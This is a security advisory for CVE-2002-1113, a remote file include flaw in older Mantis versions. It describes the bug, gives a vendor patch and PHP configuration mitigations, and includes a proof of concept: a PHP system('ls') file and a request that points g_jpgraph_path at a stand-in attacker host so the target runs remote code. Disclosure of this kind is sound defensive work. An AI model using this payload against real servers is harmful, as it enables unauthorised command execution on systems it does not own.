BID:5504

Mantis JPGraph Remote File Include Command Execution Vulnerability

Info

Mantis JPGraph Remote File Include Command Execution Vulnerability

Bugtraq ID:	5504
Class:	Design Error
CVE:	CVE-2002-1113
Remote:	Yes
Local:	No
Published:	Aug 19 2002 12:00AM
Updated:	Jul 11 2009 03:56PM
Credit:	Discoery of this issue is credited to Joao Gouveia <[email protected]>.
Vulnerable:	Mantis Mantis 0.17.3 Mantis Mantis 0.17.2 Mantis Mantis 0.17.1 + Debian Linux 3.0 sparc + Debian Linux 3.0 s/390 + Debian Linux 3.0 ppc + Debian Linux 3.0 mipsel + Debian Linux 3.0 mips + Debian Linux 3.0 m68k + Debian Linux 3.0 ia-64 + Debian Linux 3.0 ia-32 + Debian Linux 3.0 hppa + Debian Linux 3.0 arm + Debian Linux 3.0 alpha + Debian Linux 3.0 Mantis Mantis 0.17 .0 Mantis Mantis 0.16.1 Mantis Mantis 0.16 .0 Mantis Mantis 0.15.12 Mantis Mantis 0.15.11 Mantis Mantis 0.15.10 Mantis Mantis 0.15.9 Mantis Mantis 0.15.8 Mantis Mantis 0.15.7 Mantis Mantis 0.15.6 Mantis Mantis 0.15.5 Mantis Mantis 0.15.4 Mantis Mantis 0.15.3

Not Vulnerable:	Mantis Mantis 0.17.4 a Mantis Mantis 0.17.4

Discussion

Mantis JPGraph Remote File Include Command Execution Vulnerability

Mantis depends on include files to provide some functionality, such as dynamic generation of graphs. However, since Mantis does not properly validate the path to the include file, it is possible for attackers to specify an arbitrary path, either to a local file or a file on a remote server.

Attackers may use this to include PHP files located on remote servers. Execution of arbitrary commands with the privileges of the webserver is the result of successful exploitation.

Exploit / POC

Mantis JPGraph Remote File Include Command Execution Vulnerability

The following proof-of-concept was provided:

The attacker may create the following file (listings.txt) on a server they have access to:

<?php
system('ls');
exit;
?>

And then cause it to be included with the following request:

http://target/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fattackershost%2Flistings.txt%3F

Solution / Fix

Mantis JPGraph Remote File Include Command Execution Vulnerability

Solution:
Exploitation of this and other remote file include issues may be limited by disabling both 'allow_url_fopen' and 'register_globals' in the local site PHP configuration.

This issue has been addressed in Mantis 0.17.4 and later. Versions prior to Mantis 0.15.3 are also not affected.

The vendor has announced that if an upgrade cannot be applied, the vulnerability can be addressing by inserting the following lines at the top of summary_graph_functions.php:

if ( isset($HTTP_GET_VARS['g_jpgraph_path']) ||
isset($HTTP_POST_VARS['g_jpgraph_path']) ||
isset($HTTP_COOKIE_VARS['g_jpgraph_path']) ) {
exit;
}:

Mantis Mantis 0.15.10